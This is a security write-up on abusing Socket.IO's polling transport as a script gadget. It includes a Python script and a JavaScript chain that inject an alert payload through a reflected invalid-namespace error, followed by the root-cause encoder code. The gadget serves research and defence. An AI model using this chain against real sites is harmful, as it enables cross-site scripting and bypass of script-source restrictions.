Realtime application framework (Node.JS server)
The Socket.IO client-server communication library has multiple modes is transporting data, one of which is “polling”. In this mode, a long-lived request is sent that is only resolved when the server has a message to send to the client. These messages use a custom protocol which happens to be valid JavaScript, allowing it to be used as a script gadget.
From an attacker’s backend, you need to first set up a new random session and send an invalid namespace request, to which the server will respond through another channel, reflecing your given namespace. You will craft a URL for this other channel containing the SocketIO session ID, which the victim will fetch by sending them to a dynamically generated payload. It will be valid for ~30 seconds.
The following Python script generates a URL that responds with alert(origin)
on the host when visited:
import requests
import json
HOST = "https://socketio.jtw.sh"
# Request session ID
r = requests.get(HOST + "/socket.io/", params={"EIO": 4, "transport": "polling"})
sid = json.loads(r.text[1:])["sid"]
# Send POST message
r = requests.post(HOST + "/socket.io/", params={"EIO": 4, "transport": "polling", "sid": sid},
data="40/alert(origin),")
# Craft URL for response
url = f"/socket.io/?EIO=4&transport=polling&sid={sid}"
print(url) # eg. "/socket.io/?EIO=4&transport=polling&sid=gaMirGDfHcBJrIdUAAAD"
The above can be implemented into a Flask server that stores the URL in an XSS payload and redirects the victim to it. The code below is an implementation in JavaScript that showcases the full chain.
<base href="https://socketio.jtw.sh">
<script>
(async () => {
// Request session ID
res = await fetch("/socket.io/?" + new URLSearchParams({ EIO: 4, transport: "polling" })).then(r => r.text());
sid = JSON.parse(res.slice(1))["sid"];
// Send POST message
await fetch("/socket.io/?" + new URLSearchParams({ EIO: 4, transport: "polling", sid }), {
method: "POST",
body: "40/alert(origin),"
});
// Craft URL for response
url = "/socket.io/?" + new URLSearchParams({ EIO: 4, transport: "polling", sid });
console.log(url); // eg. "/socket.io/?EIO=4&transport=polling&sid=gaMirGDfHcBJrIdUAAAD"
// (loading script example for preview)
const script = document.createElement("script");
script.src = url;
document.body.appendChild(script);
})();
</script>
<!-- user input -->
<script src="/socket.io/?EIO=4&transport=polling&sid=gaMirGDfHcBJrIdUAAAD"></script>
Root Cause
this._packet({
type: PacketType.CONNECT_ERROR,
nsp: name,
data: {
message: "Invalid namespace",
},
});
private encodeAsString(obj: Packet) {
// first is type
let str = "" + obj.type;
// attachments if we have them
if (
obj.type === PacketType.BINARY_EVENT ||
obj.type === PacketType.BINARY_ACK
) {
str += obj.attachments + "-";
}
// if we have a namespace other than `/`
// we append it followed by a comma `,`
if (obj.nsp && "/" !== obj.nsp) {
str += obj.nsp + ",";
}
// immediately followed by the id
if (null != obj.id) {
str += obj.id;
}
// json data
if (null != obj.data) {
str += JSON.stringify(obj.data, this.replacer);
}
debug("encoded %j as %s", obj, str);
return str;
}
Related links:
Found by @j0r1an.